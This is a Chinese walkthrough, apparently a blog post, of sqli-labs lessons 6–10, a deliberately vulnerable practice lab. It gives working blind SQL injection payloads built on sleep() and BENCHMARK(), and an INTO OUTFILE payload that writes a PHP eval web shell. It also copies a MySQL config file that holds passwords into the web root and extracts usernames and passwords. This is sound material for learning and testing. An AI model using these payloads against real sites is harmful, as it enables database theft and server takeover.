sqli_labs6-10

Less6

1.代码分析
在这里插入图片描述
2.尝试一个payload,剩下的和第五关相同

1" and left(database(),1) = 's'--+

在这里插入图片描述

盲注之导入导出相关操作学习

导入文件的SQL语句: SELECT … INTO OUTFILE ‘filename’;
*把选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须要拥有FILE权限,filename不能是一个存在的文件。

两种利用形式:

  1. 直接将slect内容导入到文件中:
SELECT version() into outfile "c:\\phpstudy\\www\\sqli"
#把version替换成为一句话
SELECT 一句话木马内容 into outfile "c:\\phpstudy\\www\\sqli"
  1. 修改文件结尾
SELECT version() into outfile "c:\\phhstudy\\a.php" LINES TERMINATED BY 0x16进制文件

解释:通常使用’\r\n’结尾,此处我们修改为我们想要的任何文件,同时可以使用FIELDS TERMINATED BY
16进制可以为一句话或者任何的代码,可自己构造,在sqlmap中os-shell采取的就是这样的方式,参考链接

注意:(1)可能在文件路径当中要注意转义,看具体环境
(2)上边的load_file(),当前台无法导出的时候,可以使用下边的语句

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php'

利用该语句将服务器的内容导入到web服务器的目录,这样就能得到数据了。上述my.ini当中存在password(默认被注释),当然有很多内容可以被导出来,需要靠平时的积累。

参考:sqli_labs注入天书

Less7

第七关的标题是dump into file,需要使用上边学到的导入方法。

  1. 分析源码,并盲注尝试
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

使用id=1’))–+返回页面和id=1一样,存在漏洞,也可以用’尝试sql报错

  1. 通过第一关获取绝对路径
1' and 1=3 union select 1,@@datadir,3--+

在这里插入图片描述

  1. 通过select … into outfile语句写入一句话

phpstudy要设置选项

在C:\phpstudy\MySQL\my.ini文件[mysqld]下添加一行secure_file_priv='C:/'
secure-file-priv 参数是限制MySQL当前能否进行导入导出操作的。
重启后查看设置是否生效
在这里插入图片描述

(1)尝试上传文本

1')) union select 1,2,3 INTO outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\bbb.txt"--+

在这里插入图片描述
(2)上传一句话

1')) union select 1,2,'<?php @eval($_post["pass"]);?>' INTO outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\1.php"--+

在这里插入图片描述最后菜刀连接获取数据。

延时注入的学习

1. 利用sleep()函数进行注入

1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
1'and If(substr(database(),1,1)='s',1,sleep(5))--+

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如expr1的值为false,则返回expr3的值
当错误的时候会有五秒的延时
在这里插入图片描述

2. 利用BENCHMARK()进行延时注入

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+

当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000次,会占用一段时间

Less8

代码分析

在这里插入图片描述

由第八关名字和实际可以使用布尔注入

在这里插入图片描述
注入过程可以参考前面的布尔注入,不再赘述

Less9

代码分析
在这里插入图片描述

下边是基于时间盲注的部分展示

1.检测数据库长度

1' and If(length(database())=8,1,sleep(5))--+

在这里插入图片描述
2.猜测数据库名

1'and If(substr(database(),1,1)='s',1,sleep(5))--+
1'and If(substr(database(),2,1)='e',1,sleep(5))--+

在这里插入图片描述3.接下来可以猜测表的数量

1'and If((select count(table_name) from information_schema.tables where table_schema =database())=4, 1, sleep(3))--+

得出数据库有四个表

4.猜测表名

第一个表名:

1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
#使用ascii码猜测

1'and If(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 'a',1,sleep(5))--+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表
#1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。

使用Burp
在这里插入图片描述最后四个表的内容是emails,referers,uagents,users,我们把重点放在users表

5.猜测users表的列

(1)先猜测users表中有几列数据

1'and If((select count(column_name) from information_schema.columns where table_name='users')=3,1,sleep(5))--+

猜测出有3列数据。

(2)猜测列名

1'and If(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a',1,sleep(5))--+
#同上边爆破表名一样修改0,1和1,1猜测出所有的列名为id,username,password

在这里插入图片描述在这里插入图片描述

6.猜测users表中username和password内容

1'and If(substr((select username from users limit 0,1), 1,1)='a',1,sleep(5))--+

在这里插入图片描述使用burp,可以查询到username,password中的内容

Less10

由标题看出是双引号的时间盲注
代码分析
在这里插入图片描述

1"and If(substr(database(),1,1)='s',1,sleep(5))--+
#把第九关的payload单引号改成双引号,就可完成此关

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值